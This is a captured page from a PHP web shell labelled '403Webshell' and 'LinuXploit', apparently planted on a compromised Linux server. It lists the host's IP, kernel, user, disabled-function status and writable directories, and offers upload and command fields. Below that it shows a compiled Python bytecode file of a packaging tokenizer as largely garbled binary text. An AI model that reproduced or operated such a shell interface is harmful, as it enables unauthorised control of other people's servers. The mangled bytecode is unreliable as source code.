403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/packaging/__pycache__/_tokenizer.cpython-311.pyc
�

�{�c����UddlZddlZddlmZddlmZmZmZmZm	Z	m
Z
ddlmZeGd�d����Z
Gd�d	e��Zid
d�dd
�dd�dd�dd�dd�dejdej���dd�dd�dd�dd�d ejd!ej���d"ejejejzejejz���d#d$�d%d&�d'd(�d)d*�d+d,i�Zd-ed.<Gd/�d0��ZdS)1�N)�	dataclass)�Dict�Iterator�NoReturn�Optional�Tuple�Union�)�	Specifierc�.�eZdZUeed<eed<eed<dS)�Token�name�text�positionN)�__name__�
__module__�__qualname__�str�__annotations__�int���6/usr/lib/python3/dist-packages/packaging/_tokenizer.pyr
r
	s+�������

�I�I�I�

�I�I�I��M�M�M�M�Mrr
c�P��eZdZdZdededeeefddf�fd�Zdefd�Z�xZ	S)	�ParserSyntaxErrorz7The provided source text could not be parsed correctly.�message�source�span�returnNc�r��||_||_||_t�����dS)N)rrr�super�__init__)�selfrrr�	__class__s    �rr"zParserSyntaxError.__init__s6�����	�������
���������rc��d|jdzd|jd|jdz
zzdz}d�|j|j|g��S)N� r�~r
�^z
    )r�joinrr)r#�markers  r�__str__zParserSyntaxError.__str__ sO���t�y��|�#�c�T�Y�q�\�D�I�a�L�-H�&I�I�C�O���}�}�d�l�D�K��@�A�A�Ar)
rrr�__doc__rrrr"r+�
__classcell__)r$s@rrrs��������A�A�����	�
�C��H�o��
�
������B��B�B�B�B�B�B�B�Brr�LEFT_PARENTHESISz\(�RIGHT_PARENTHESISz\)�LEFT_BRACKETz\[�
RIGHT_BRACKETz\]�	SEMICOLON�;�COMMA�,�
QUOTED_STRINGzk
            (
                ('[^']*')
                |
                ("[^"]*")
            )
        �OPz(===|==|~=|!=|<=|>=|<|>)�BOOLOPz\b(or|and)\b�INz\bin\b�NOTz\bnot\b�VARIABLEa�
            \b(
                python_version
                |python_full_version
                |os[._]name
                |sys[._]platform
                |platform_(release|system)
                |platform[._](version|machine|python_implementation)
                |python_implementation
                |implementation_(name|version)
                |extra
            )\b
        �	SPECIFIER�ATz\@�URLz[^ \t]+�
IDENTIFIERz\b[a-zA-Z0-9][a-zA-Z0-9._-]*\b�WSz[ \t]+�END�$�&Dict[str, Union[str, re.Pattern[str]]]�
DEFAULT_RULESc	���eZdZdZdeddddfd�Zdeddfd	�Zd
d�dededefd
�Zdedede	fd�Z
de	fd�Zddd�dedee
dee
defd�Zejdededeefd���ZdS)�	Tokenizerz�Context-sensitive token parsing.

    Provides methods to examine the input stream to check whether the next token
    matches.
    r�rulesrCrNc�v�||_d�|���D��|_d|_d|_dS)Nc�>�i|]\}}|tj|����Sr)�re�compile)�.0r�patterns   r�
<dictcomp>z&Tokenizer.__init__.<locals>.<dictcomp>ds5��2
�2
�2
�*7�$��D�"�*�W�%�%�2
�2
�2
rr)r�itemsrG�
next_tokenr)r#rrGs   rr"zTokenizer.__init__]sG�����2
�2
�;@�;�;�=�=�2
�2
�2
��
�,0�����
�
�
rrc�\�|�|��r|���dSdS)z8Move beyond provided token name, if at current position.N)�check�read)r#rs  r�consumezTokenizer.consumejs1���:�:�d���	��I�I�K�K�K�K�K�	�	rF)�peekrUc��|j�Jd|�d|j�����||jvs
Jd|�����|j|}|�|j|j��}|�dS|s!t||d|j��|_dS)z�Check whether the next token has the provided name.

        By default, if the check succeeds, the token *must* be read before
        another check. If `peek` is set to `True`, the token is not loaded and
        would need to be checked again.
        NzCannot check for z, already have zUnknown token name: FrT)rPrG�matchrrr
)r#rrU�
expressionrWs     rrRzTokenizer.checkos���
�O�#�#�I�t�I�I�d�o�I�I�
$�#�#��t�z�!�!�!�#B�$�#B�#B�!�!�!��Z��%�
�� � ���d�m�<�<���=��5��	C�#�D�%��(�D�M�B�B�D�O��tr�expectedc��|�|��s|�d|�����|���S)zsExpect a certain token name next, failing with a syntax error otherwise.

        The token is *not* read.
        z	Expected )rR�raise_syntax_errorrS)r#rrYs   r�expectzTokenizer.expect�sD��
�z�z�$���	B��)�)�*@�h�*@�*@�A�A�A��y�y�{�{�rc�n�|j}|�J�|xjt|j��z
c_d|_|S)z%Consume the next token and return it.N)rPr�lenr)r#�tokens  rrSzTokenizer.read�s9������ � � ��
�
��U�Z���(�
�
�����r)�
span_start�span_endrr`rac�\�|�|jn||�|jn|f}t||j|����)z.Raise ParserSyntaxError at the given position.N)rr)rrr)r#rr`rars     rr[zTokenizer.raise_syntax_error�sK��(�/�D�M�M�Z�%�-�D�M�M�8�
�� ���;��
�
�
�	
r�
open_token�close_tokenc#�
K�|�|��r|j}|���nd}|duV�|�dS|�|��s|�d|��|���|���dS)NzExpected closing )r`)rRrrSr[)r#rcrd�
open_positions    r�enclosing_tokenszTokenizer.enclosing_tokens�s������:�:�j�!�!�	!� �M�M��I�I�K�K�K�K� �M��4�'�'�'�'�� ��F��z�z�+�&�&�	��#�#�1�K�1�1�(�
$�
�
�
�
	
�	�	�����r)rrrr,rr"rT�boolrRr
r\rSrrrr[�
contextlib�contextmanagerrrgrrrrFrFVs}�����������8�	�

������C��D�����
05����#���������*�3��S��U������e�����%)�"&�
�
�
��
��S�M�	
�
�3�-�
�
�

�
�
�
�$���3��S��X�d�^��������rrF)rirJ�dataclassesr�typingrrrrrr	�
specifiersrr
�	ExceptionrrK�VERBOSE�_operator_regex_str�_version_regex_str�
IGNORECASErDrrFrrr�<module>rssp�������	�	�	�	�!�!�!�!�!�!�C�C�C�C�C�C�C�C�C�C�C�C�C�C�C�C�!�!�!�!�!�!������������B�B�B�B�B�	�B�B�B�*.;���.;���.;��E�.;��U�	.;�
��.;��T�
.;��Z�R�Z�	�	�
�	�	�.;�"	�
%�#.;�$
�o�%.;�&	�)�'.;�(
�:�).;�*�
��
�	�	�
���+.;�J�����%�	�(D�D�
�
�R�]�"���K.;�R	�%�S.;�T
�:�U.;�V�3�W.;�X	�)�Y.;�Z
�4�[.;�.;�
�7�.�.�.�bf�f�f�f�f�f�f�f�f�fr

Youez - 2016 - github.com/yon3zu
LinuXploit